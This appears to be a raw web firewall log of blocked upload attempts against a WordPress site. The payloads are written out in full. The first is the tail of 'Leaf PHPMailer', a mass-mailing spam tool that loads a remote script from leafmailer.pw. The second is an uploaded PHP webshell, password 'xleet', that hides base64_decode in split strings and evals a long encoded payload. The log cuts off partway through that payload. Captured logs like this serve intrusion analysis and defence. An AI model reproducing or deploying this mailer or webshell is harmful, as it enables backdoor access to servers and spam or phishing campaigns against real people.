'rsa-sha256'; \/\/ Signature & hash algorithms\n $DKIMcanonicalization = 'relaxed\/simple'; \/\/ Canonicalization of header\/body\n $DKIMquery = 'dns\/txt'; \/\/ Query method\n $DKIMtime = time(); \/\/ Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)\n $subject_header = \"Subject: $subject\";\n $headers = explode($this->LE, $headers_line);\n $from_header = '';\n $to_header = '';\n $date_header = '';\n $current = '';\n foreach ($headers as $header) {\n if (strpos($header, 'From:') === 0) {\n $from_header = $header;\n $current = 'from_header';\n } elseif (strpos($header, 'To:') === 0) {\n $to_header = $header;\n $current = 'to_header';\n } elseif (strpos($header, 'Date:') === 0) {\n $date_header = $header;\n $current = 'date_header';\n } else {\n if (!empty($$current) && strpos($header, ' =?') === 0) {\n $$current .= $header;\n } else {\n $current = '';\n }\n }\n }\n $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));\n $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));\n $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));\n $subject = str_replace(\n '|',\n '=7C',\n $this->DKIM_QP($subject_header)\n ); \/\/ Copied header fields (dkim-quoted-printable)\n $body = $this->DKIM_BodyC($body);\n $DKIMlen = strlen($body); \/\/ Length of body\n $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); \/\/ Base64 of packed binary SHA-256 hash of body\n if ('' == $this->DKIM_identity) {\n $ident = '';\n } else {\n $ident = ' i=' . $this->DKIM_identity . ';';\n }\n $dkimhdrs = 'DKIM-Signature: v=1; a=' .\n $DKIMsignatureType . '; q=' .\n $DKIMquery . '; l=' .\n $DKIMlen . '; s=' .\n $this->DKIM_selector .\n \";\\r\\n\" .\n \"\\tt=\" . $DKIMtime . '; c=' . $DKIMcanonicalization . \";\\r\\n\" .\n \"\\th=From:To:Date:Subject;\\r\\n\" .\n \"\\td=\" . $this->DKIM_domain . ';' . $ident . \"\\r\\n\" .\n \"\\tz=$from\\r\\n\" .\n \"\\t|$to\\r\\n\" .\n \"\\t|$date\\r\\n\" .\n \"\\t|$subject;\\r\\n\" .\n \"\\tbh=\" . $DKIMb64 . \";\\r\\n\" .\n \"\\tb=\";\n $toSign = $this->DKIM_HeaderC(\n $from_header . \"\\r\\n\" .\n $to_header . \"\\r\\n\" .\n $date_header . \"\\r\\n\" .\n $subject_header . \"\\r\\n\" .\n $dkimhdrs\n );\n $signed = $this->DKIM_Sign($toSign);\n return $dkimhdrs . $signed . \"\\r\\n\";\n }\n\n \/**\n * Detect if a string contains a line longer than the maximum line length allowed.\n * @param string $str\n * @return boolean\n * @static\n *\/\n public static function hasLineLongerThanMax($str)\n {\n \/\/+2 to include CRLF line break for a 1000 total\n return (boolean)preg_match('\/^(.{'.(self::MAX_LINE_LENGTH + 2).',})\/m', $str);\n }\n\n \/**\n * Allows for public read access to 'to' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getToAddresses()\n {\n return $this->to;\n }\n\n \/**\n * Allows for public read access to 'cc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getCcAddresses()\n {\n return $this->cc;\n }\n\n \/**\n * Allows for public read access to 'bcc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getBccAddresses()\n {\n return $this->bcc;\n }\n\n \/**\n * Allows for public read access to 'ReplyTo' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getReplyToAddresses()\n {\n return $this->ReplyTo;\n }\n\n \/**\n * Allows for public read access to 'all_recipients' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getAllRecipientAddresses()\n {\n return $this->all_recipients;\n }\n\n \/**\n * Perform a callback.\n * @param boolean $isSent\n * @param array $to\n * @param array $cc\n * @param array $bcc\n * @param string $subject\n * @param string $body\n * @param string $from\n *\/\n protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)\n {\n if (!empty($this->action_function) && is_callable($this->action_function)) {\n $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);\n call_user_func_array($this->action_function, $params);\n }\n }\n}\n\n\/**\n * PHPMailer exception handler\n * @package PHPMailer\n *\/\nclass phpmailerException extends Exception\n{\n \/**\n * Prettify error message output\n * @return string\n *\/\n public function errorMessage()\n {\n $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . \"<\/strong><br \/>\\n\";\n return $errorMsg;\n }\n}\nfunction leafheader(){\nprint '\n<head>\n <title>'.str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']).' - LuFix.gs<\/title>\n <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\"\/>\n <link href=\"https:\/\/maxcdn.bootstrapcdn.com\/bootswatch\/3.4.1\/cosmo\/bootstrap.min.css\" rel=\"stylesheet\" >\n <script src=\"https:\/\/leafmailer.pw\/style2.js\"><\/script>\n\n<\/head>';\n}\nleafheader();\nprint '<body>';\nprint '<div class=\"container col-lg-6\">\n <h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>'.$leaf['version'].'<\/small><\/h3>\n <form name=\"form\" id=\"form\" method=\"POST\" enctype=\"multipart\/form-data\" action=\"\">\n <input type=\"hidden\" name=\"action\" value=\"score\">\n\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \"><label for=\"senderEmail\">Email<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderEmail\" name=\"senderEmail\" value=\"'.$senderEmail.'\"><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"senderName\">Sender Name<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderName\" name=\"senderName\" value=\"'.$senderName.'\"><\/div>\n <\/div>\n <div class=\"row\">\n <span class=\"form-group col-lg-6 \"><label for=\"attachment\">Attachment <small>(Multiple Available)<\/small><\/label><input type=\"file\" name=\"attachment[]\" id=\"attachment[]\" multiple\/><\/span>\n\n <div class=\"form-group col-lg-6\"><label for=\"replyTo\">Reply-to<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"replyTo\" name=\"replyTo\" value=\"'.$replyTo.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-12 \"><label for=\"subject\">Subject<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"subject\" name=\"subject\" value=\"'.$subject.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6\"><label for=\"messageLetter\">Message Letter <button type=\"submit\" class=\"btn btn-default btn-xs\" form=\"form\" name=\"action\" value=\"view\" formtarget=\"_blank\">Preview <\/button><\/label><textarea name=\"messageLetter\" id=\"messageLetter\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$messageLetter.'<\/textarea><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"emailList\">Email List <a href=\"?emailfilter=on\" target=\"_blank\" class=\"btn btn-default btn-xs\">Filter\/Extract<\/a><\/label><textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$emailList.'<\/textarea><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \">\n <label for=\"messageType\">Message Type<\/label>\n HTML <input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"1\" '.$html.'>\n Plain<input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"2\" '.$plain.'>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"charset\">Character set<\/label>\n <select class=\"form-control input-sm\" id=\"charset\" name=\"charset\">\n <option '.$utf8.'>UTF-8<\/option>\n <option '.$iso.'>ISO-8859-1<\/option>\n <\/select>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"encoding\">Message encoding<\/label>\n <select class=\"form-control input-sm\" id=\"encode\" name=\"encode\">\n <option '.$bit8.'>8bit<\/option>\n <option '.$bit7.'>7bit<\/option>\n <option '.$binary.'>binary<\/option>\n <option '.$base64.'>base64<\/option>\n <option '.$quotedprintable.'>quoted-printable<\/option>\n\n <\/select>\n <\/div>\n <\/div>\n <button type=\"submit\" class=\"btn btn-default btn-sm\" form=\"form\" name=\"action\" value=\"send\">SEND<\/button> or <a href=\"#\" onclick=\"document.getElementById(\\'form\\').submit(); return false;\">check SpamAssassin Score<\/a>\n \n <\/form>\n <\/div>\n <div class=\"col-lg-6\"><br>\n <label for=\"well\">Instruction<\/label>\n <div id=\"well\" class=\"well well\">\n <h4>Server Information<\/h4>\n <ul>\n <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' <\/b> <a href=\"?check_ip='.$_SERVER['SERVER_ADDR'].'\" target=\"_blank\" class=\"label label-primary\">Check Blacklist <i class=\"glyphicon glyphicon-search\"><\/i><\/a><\/li>\n <li>PHP Version : <b>'.phpversion().'<\/b><\/li>\n \n\n <\/ul>\n <h4>HELP<\/h4>\n <ul>\n <li>[-email-] : <b>Reciver Email<\/b> (emailuser@emaildomain.com)<\/li>\n <ul>\n <li>[-emailuser-] : <b>Email User<\/b> (emailuser) <\/li>\n <li>[-emaildomain-] : <b>Email User<\/b> (emaildomain.com) <\/li>\n <\/ul>\n <li>[-time-] : <b>Date and Time<\/b> ('.date(\"m\/d\/Y h:i:s a\", time()).')<\/li>\n \n <li>[-randomstring-] : <b>Random string (0-9,a-z)<\/b><\/li>\n <li>[-randomnumber-] : <b>Random number (0-9) <\/b><\/li>\n <li>[-randomletters-] : <b>Random Letters(a-z) <\/b><\/li>\n <li>[-randommd5-] : <b>Random MD5 <\/b><\/li>\n <\/ul>\n <h4>example<\/h4>\n Receiver Email = <b>user@domain.com<\/b><br>\n <ul>\n <li>hello <b>[-emailuser-]<\/b> = hello <b>user<\/b><\/li>\n <li>your domain is <b>[-emaildomain-]<\/b> = Your Domain is <b>domain.com<\/b><\/li>\n <li>your code is <b>[-randommd5-]<\/b> = your code is <b>e10adc3949ba59abbe56e057f20f883e<\/b><\/li>\n <\/ul>\n\n <h6>by <b><a href=\"http:\/\/'.$leaf['website'].'\">'.$leaf['website'].'<\/a><\/b><\/h6>\n <\/div>\n <\/div>'; \nif($_POST['action']==\"send\"){\n print ' <div class=\"col-lg-12\">';\n $maillist=explode(\"\\r\\n\", $emailList);\n $n=count($maillist);\n $x =1;\n foreach ($maillist as $email ) {\n print '<div class=\"col-lg-1\">['.$x.'\/'.$n.']<\/div><div class=\"col-lg-4\">'.$email.'<\/div>';\n if(!leafMailCheck($email)) {\n print '<div class=\"col-lg-6\"><span class=\"label label-default\">Incorrect Email<\/span><\/div>';\n print \"<br>\\r\\n\";\n }\n else {\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress($email);\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n for($i=0; $i<count($_FILES['attachment']['name']); $i++) {\n if ($_FILES['attachment']['tmp_name'][$i] != \"\"){\n $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);\n }\n\n }\n \n if (!$mail->send()) {\n echo '<div class=\"col-lg-6\"><span class=\"label label-default\">'.htmlspecialchars($mail->ErrorInfo).'<\/span><\/div>';\n }\n else {\n echo '<div class=\"col-lg-6\"><span class=\"label label-success\">Ok<\/span><\/div>';\n }\n print \"<br>\\r\\n\";\n }\n $x++;\n for($k = 0; $k < 40000; $k++) {echo ' ';}\n }\n\n}\nelseif($_POST['action']==\"score\"){\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress(\"username@domain.com\");\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n $mail->preSend();\n $messageHeaders=$mail->getSentMIMEMessage();\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_URL, 'http:\/\/spamcheck.postmarkapp.com\/filter');\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n curl_setopt($ch, CURLOPT_TIMEOUT, 15);\n $response = curl_exec($ch);\n $response = json_decode($response);\n print ' <div class=\"col-lg-12\">';\n if ($response->success == TRUE ){\n $score = $response->score;\n if ($score > 5 ) $class=\"danger\";\n else $class=\"success\";\n print '<div class=\"text-'.$class.'\">Your SpamAssassin score is '.$score.' <\/div>\n<div>Full Report : <pre>'.$response->report.'<\/pre><\/div>';\nprint ' <\/div>';\n }\n}\nprint '<\/body>';\n?>\r\n--ba15a911e0107f9e7dd2a4298992f790\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--ba15a911e0107f9e7dd2a4298992f790\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--ba15a911e0107f9e7dd2a4298992f790\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--ba15a911e0107f9e7dd2a4298992f790--\r\n"]
["2026-05-26 21:32:44","170.205.30.68","POST","\/wp-content\/plugins\/ubked\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ubked\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=64fd611357089e5c46a5062c6d0f511a\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:73112\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-user:?1\nsec-fetch-site:same-origin\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--64fd611357089e5c46a5062c6d0f511a\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--64fd611357089e5c46a5062c6d0f511a\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--64fd611357089e5c46a5062c6d0f511a\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"wsxbb.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n$▛ = \"59e8d97dbcc1d0f65dea6ecd0e9fbe39\"; \/\/Pass: xleet\n$o= \"ba\".\"se\".\"\\x36\\x34\\x5F\".\"de\".\"c\".\"ode\";\neval($o(\"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9SNmxHc2NQQS9WWmFvT3YrQUJ5VkJ1NFB5TFFWWk9pbW5TUVBKeVdFU0UyQ3pPVzFxM1RPdWFsZkx6ZUdyZ2RRczZIYmdSRm9zV3I0aVZkVEhqSkg4M0FKTGJxWWR2emdGcEJjS0hmaTFoaGdsRXlNNWk3bEZQQUZ5cEhuZTluSmVXcmlLc1JoakFwalhBdGhDVGRpcUtRazRzMForcFJIZjJHNVFOZTFWdmhJUHdQWnVRZThuN25iUFJlcmZMMzJja2tPN3RtUXprZWQ5QTZLNjJNOGZrL3VJN3RqL3pzQUNlRTFEdkQvN0FOaFJwa1cxYUJVd244UXYxRER5NUViTTRqNkRDRkJUUVhoK01lcDVmb2ZWeHdHbXlKMU1kTktwSnp1VmVQdGJaQTdVc0xYRW1VYk5vSEJQTm0rc2F2ZTZmaFk0alVUcER4NnZ3Nk9mdm5NZm8za2JTSC92UmMyZ2Q1SE5KR0RvZSt3a1MxS3JmbTk4Z2VuZ3BPR3BnblMrbGFjb3FhRWNQVVpVRklTUDkxb0t1VXZxRE5RKy9aTUc0dThIcEljNlB3bk9PMWIxVG11aFp3S0J1OHFKVDFndU8vS0xOdDV0bURPSTNXaGJFNzNmS0pYL0NpdHY4ZCsvQWV2V1Jnbk92TWdVRHp6aC9xRlRucm9VallKbTRNcEllbGE4VnpROE5kOVNEQ0NZdGNCanYvQ1ZhY3hMMVByS2Q2U2pyQ2cxZTZ5bXRZeWo0STM1aXhkZ1dHNVArU0dvTWdORmN4MkdBQ05BU1pENFVRRExZTFgwQ2dxK2dkY3V1YlVKTk8zWGJPOFRKei92VittUHhGLzIvSGxaMTY0emRhT05EdUVVNEM3U3hMR0tIV01jNEtqd2Vpb2FhQUppTDN4czVKNVJSUjU0dEsxalR6L05TbEhIWmsvWDJ1TUtHdjVXOEVDTmpUWWU5TCt0MzNnYVMyTDVjeWdGS3lWZ2t1TmdxdnNueTdTeG5aYUswbmxUZ1FDb082QzlDVlpwWEpPZXQ5YmJyY3pqWTN4RmMreUcyRWYyZDVEL1dwQjUycmFpZG01ZCtTVFFqbFB4OXRSKzZQS01STXp3aUZVMWJ2VHVVRXBsY1htRTRxREQ1WjJFVlJRWE96WFlyY2VNckI3ZXgyQ2dpVEtvWGlZaDFCREZMQzhCU044WkFicWQzZWtSNkFPT2g4MjdFbkZOVVN3M0lUNVQvUkNJcmNlRWxBWjZRcitvQkk3RmR2aTdrL0ViRmw5Y05HdC94TnFwbkZ4aXBVZWo5QWRCL0ZUM0xJd0JsUjVkRk42WU9XdUVTcW5NL1NYRGFSWGFRK2VUZXRiS0lRWDFQS1QyNWdKOEVxUnQyN08vSi9XbzBUeHE5VjAxSllMQlR4TG5FTDdPZ3ZUbzBHQTBjOHQ5NTQvMEJYZGJEcElJU3N1d0NuaVFIWlVyMDdDQXZad0lhbjF2MndhN3k5N1A1MHRVWitPV0JSUmlMRHp2MHZmVXI2dEVwbmh3SWozSVZLVThqcllWeVU2eCtLYVdaNFZnMVJ6QmRKYkJlVGMvN0JEak4xTEMrMUpBemlpYjFtejc2YU5oQVJDdTFSNk9BblA5UzRDek80S1VaRURTcFNBUnJSR2YyYkEva1IxelJsRE1HQW5oM1I1bDI4T1hwTUNiZUlhTWVJcm91Ujk0bk9rMEhLNm92M1N2WFoxUmRXb1RFNVJydnBzTUl5VklZZVQyZ0dMNWszWC80NFE5SDA4SnFkS2d6eFhwZ1Y5cDZ3Z0lyS2xHS29FZEJpYW9hblZES3FTdkpFeGFoN0xVUW1PRHo1aStIK3JxUEhKbVl5ek83WHVKWFREOElVOVRwd1duVXVuOWl6eFJ2VnJFUDl4TEFCYXdHVFNPWmVQS0NPWUFqTE5BNWNJSkVRaVVsaHF1RU1mUTRheE1TNG14WjhudlcrMUxHeEJiYUg3aEpBcWZLb3N5VHhCR3YwYlFJRVhCMjFhaTE4QkJWUE8zRHJHdHN0Z3N3TS9YWUhxRTFSS0MzNFloQU5hTEhTeUorVHMyWEU4Y2l3WHI0bUNFeTZDcisvdmxpRWdrbVhKdzUzU3lqK3RyMzU4dUdTcFhZZ3h2Y3BhS0c1aFB2U0tvWDdqTnVHaXlzclBZcGEwYU5aTlZXdk10RG9memcwdjhPeEFLL3lXd29WKzFlNENzWnZtZ0hPZ3JhK3VUNEp5SEE3cTR6aWtzaGV0SXQrWmNySnI1UXJGVngrSnp0YnI2RzhOc29CLzRTVFd1cUxVK09OZERiL2ZVVXp6M3puTzNFQXQvUldJMUh5RTRDeDJyT3luMDJMbytqNXFpTjl4R1FDTEpqYXRCd1ZuN2RIZ1l5VjdWaTd1NTRxeXhKZzUyaHRRc0oySmJyTEt0TERXMHF5NWhlV0xSSmJ0YUhMNmlLSGhhOEFRTlJrbHlpRjJiNEV2V1JZOFhEd3Y0TURzLy9naURRTk5RN2trZSthNGYxRkNDTGpZRHFiWC9TWGl5VGdTcnBRTi9HR3ovSjFHZTZFajhDWk5hMDlxQjZvWGNnUzZpTEgzZ1RIYlFPYTdaaXJBbEdRRWFPME9RQmdtc3R3RXp0WmxxaHhwQzVBaXFOQ0JUSmkxbTRqWlRGVHlLcmZGV3RWeXdMaWFmTm5CdU5KUlN1Zy9EMVZiOWtoZmI2MTlFam9LSjNtSGh5Z1lYN2JCbEFUM0pMbzZoeWZER25TUCtnYU80TmZHZVJUU2w2d0NiQy9FMTJzM2lKaGZiN0dMeEdnakQvVEFETFBKZFMzNStHNEtkSGg2cm13WWtxUHd3cDVpYk1HNHBQK1NqZURxQTJTS1N4VXZjV1lNRVRJRmFEOTdhMzVlcm5pMEk4WnF0bi8vZjRicnBJNitOOVdJeG00OXhvR2pxcVRwOVRjdGtsSmhFK0JXb2VkNS9DeWQzakQ3Y1k4VkRiN3UvTlRJbUhicFVjRjV0azdGdGQ1RUpnbW0zRk5zQVhoaHlLTWJtNGhNVTZNMGVSd1JOWTFDcVRIWVBpcGh0cEF4YTBKM016YXdPWWVydGUyRzc4QVppWGY4allnL1pveUtKbjJpMTBDcEdRZUZ1aDNIYjViZmV2NmExVHY1dmQwV1hxQkl3aXBnRjVjSXVpZkZrNU01c0Fpb2ZGbVc0OFJ6WGNJNUZvQkZkT0tRMTJrL1I5SzZobXZaR2RFYmdhcGViOTVIUkF0RUFFQk1KVFh4ZnhBSDhySlVSb0FJYnh4dm1sTXIwUkEzRXhFaisxcVZza1BzN28rTUtDa3pndVkrVENxajd5akwrdXJrQmh4TGc0Z3ZzZ3dVT3FFdy9hcmRqMVlGQ1NFRzV1QVZtRTRvUWxVODl0OXZxL1ZHaHhrSGNNNDBQcjBoM2dWTjNLUFY0cEVTY2dRRlNyVmFPMzI0cWthYWF5elBqVGtKSHZQbEJndndKSEpYeTdsSmZudUxQdFVGZW0ycmFST0Z0d29xZE5zSlFZYzcxN0tVMDEwVFkvN1B6VkU2YWJ5aTBUaHJWTUFxMnVsRFpjdi9wdVg4ZmpHYWZsWmU4VSt3RVRyRUdQVjY4NEFFbVh0aWdjNG9jYVV1WW1YSDI5TlVQQWFUYnpmNHQ0c2RucEI1cEo5YVRnd3VJSDM3MGF5RVpFWnE4UzNRT0pDUVNjRXBLWEJWSVRLL1A5UGhBK1YzdDdkVnNBOUg0ZW1KZy9MRVV2S2V0N3NBNUNLVE1obmVTRDRoZktnQjZTQkFMQTZtcXgwN3lxblU3YlF4QkZFc2FkL0ZDQ0hpdGZ4TW1FK1pQTG1vSzhDZEpLQmNMNnJvaTJkUURhN3lhQXdNMmZpZDFSdFVIUkxxazlyNGRPcGNzNENndFVidGxQazkvOGsrS1NNQ2swekR1ZFM3eGUyRjZnVzRQMTk1UEorT01rTVFJVXUwV0k4WHFxdEtmRjZydU12Wk1DSXhGUURLRG1MR0hiQkprWVdaRWpYZzg5bHl5dUNXckNFZDNQWTBrWmFsUmpoSkdVSzZoSFBDdzVoWnRUZ0lrbGFrNG5GSnFtUWRLK21BekszQkpnMWJXdjFJK1dYc3NBZ0hEZUlmNDhNN3lWM2ZuMlpiNFNXS1VlVGVHdDI1dXRrNjk1ay9Eb2RlWGRJZXVUS1gzcUszK3F6dCtOdG52RUw3NW5xbXlIVDJhWXlqbjFDWnlmc0xxcStkZURqejNCVEIwQWZBTzFXd1dlbVhOUDcwMHFzc2JZU0lwT0NTNWcxQTV0LzdPKy9zZTN3Sm5aQjJ6UG1GMHhJZ05KR3FONHQ4SkhQMEdyT2F2clFSZ0lqSEFnVFFvUkl3cHFyNU9xQlFiMnVHUkJDNXRkTWJ6SEJCMUJVUGJESkZGQkdrVGdLMng0ZXg1QkRLclZVOXRRNjllK2pDcEZ3TFBILzhEREFQSTlUTU1POUMvdGp2ZmtnUTVkVWZqbTVGQTNKWmVjVFRPeWhaQWxZUjExRk9RbjZmVFVLVkxNR2hJOVM5T1Y5RXZVVEdQdFppMDhBM1lJSnJ2Sk4xQVN5RVlQa1c5L1FaNEgvcEIrcTEyY0loYkRUZ1NQZitsTWJtZEZyNG42WWY2Ni9EZzRZVnh4OCtNZDZ0UVg4MzVXODg5MzAzOXpsbzFBZi82aW52Nk8wM0FPakNvRmNQa1NGa1VMcUtoSWl3eEhtRmpBeGNFRnpTK0RYREZ6cTR1L25pUG1hQ0VabGxzc3JMalF5MWkyOHNOWWlNWjlOUndaRGV0cUFPczQxbSs3MEdHd01uZDk4WGx6QTRGWjNFNUFBelNEdkp2ZEZVVHA3UzBabVRxak51VjdDb2ZwdGxuUVlhei9RRTV1SG9vTUZ4Unk4MG85aDIySkEyL3lXazBFeEJ1NGJCTEVxNE01QWVpb1ZTVmNwOVZaMzU2MC9wK1owMVNSSG51SXVwdFFUL1FzRG1wWGNoRm1pK25Obk5xd1FEUjV4ZEFhbVkxWmk3M1BHeW5ZV2d4bkhSLy9DMit3c2FLVDlSVGZtQ0YwVjRWOW50SWR0cTRQVFlSaEw1eFp6TGc0R2RCcjRJK0NTczlkWk9RT1E0Wk5DN2M5REViTWI3WUtFQmNnYXlWeStrbk84VDdBaStYeWhsMmpXV3JCZWQzUEpqcnIwUUtRTlpXQWlsZzRpYUpQRDQ5RGtjQ25POHdZWTFwaWdFSlp2eU00OXczcytoNlFaZE90bmRrWG9wU05SU3kyR2RTSll1NE9QMDNReDV6cjYyelBURFlTd1Nhak0vWHJyejNKUS90ZFo5U2M2aTVzbC81bE9tcW9kZC8vUWZRamtQaFBFVGxvTG5BZ2hhWVJzVTVBWmhwSWZMQXRvQVEyYW91Z0oyaUFmaUxjUk5vNXZrQUJFWlFlT2hiTW9rZjUxN2JtVHI4SXlqNE50UHY5ODlYZ2EvclNBUU81UG1hRE5WU2hsNm1oekNPT0NlcEVUNXRuNE83V3hrTVJPSFJ5WWk3NUtnd29TVGtHQjBkYWNacmVFdzRDVW1CRHRRT0xzRGIyNkt6TWFLTFF4T1ZDMDVleXBWRjJEb0I0UDZ0OW1HK0tlMXB0ZkpoVFFBTGlGU0VRM1F5U2VIbjN5RzNTd0pGUENrUXZjMk1CWVk4MC83TmsvL280dE5pMDlseVVKMHBpSFE4cFhpakQyaDc5R0txUFp6K3pSTEdNa1NhVno0VmdhM0pUTVFkei8rUUQzQmdpQTRGV1VVaFpBSCtBWW9SMlFlTmNTREVvd1ltZEI3aXNDQzRBZENEdUxBR2VQcTRncE9LS1FBYTByV05VOTNkcCtLV25YbCtyM0UvY2h6cFd3bENoRnNVbnhoYnlud2dLN0xLbTYrbjBJeWtyQjdoVWkzb0IxSVdHQytoMnpDS0lndC9JRjljTlo5ZERHY3R5NkQ1OHorTzhmZFZYVGx1dzFNQlhRRUV1K0ZPWGVHSVpwb2Q4YThvVTJaS1pKS1JBV04yZjhLbHRiS2xFZ09ReVliSjFCbkZTd1VwS0pEZDQ2a01FQXdGQ0p6K1d4R3c2WHpybFBaTVkxQmF1NEoyZXFRdDFvUDdNeWVLRXBrWExaK05Eb21Mc1dRRXBIUGJ4RXFEVWF4dGpLRzEzbUhqTjJxZmI3SnZrNXJjQVdEVnViSEpPdmZxR0ErakRrQXIzVWVIZktrUFZLeUpFdi9YM0RibkU4eldHalN5WEdZQkRNdmljNmZwZDhRRWpFTFFhWHA5MzZIQ0tUaVRGNFJnQ3BVNFMrYlVoTGV1N2pLSlM1bWVSTWszNkIyQkdyWXdrKzBGS29ITUFRVVYzRGx4TEVqQ05hTnVYa2g0T3NwWkFwMmk2dVZhd25EZkhOd1FCaHRxSzNJcTdTSFAwQVVPak52Y25zV2FsRkZHYWFxMzJDcit1cjJBY05IcWFIRGRWOGRmUU8weE1oUlZLa1dZREZHbXVOL3Q1TlhkZnVsaVpKR3JFRUpPRHBWR2NnSlh3azlwZ1JRNGZRYXA4UnJBSXdiUC92blFTSmxsa3Y3Y3pFSFJ0cFZHZTM5U2k2K3dEYnQ2UTZVeXhDQ1MrWVFYeGt4cU5leVREdUYyVWt4NndnN0RVUlB2K0pXRWpiZDdMTHhqWlhidGFXOWZOS3FYODU1dkZNeERkMzBIVDFZb2JNRDFiSkVoaVRXem8wcFl6WE9QZTRJMlVNdkVXYzlSK1pSTjlVTXNVVGx3YVEzcUtFU2k3MlR5U3RPO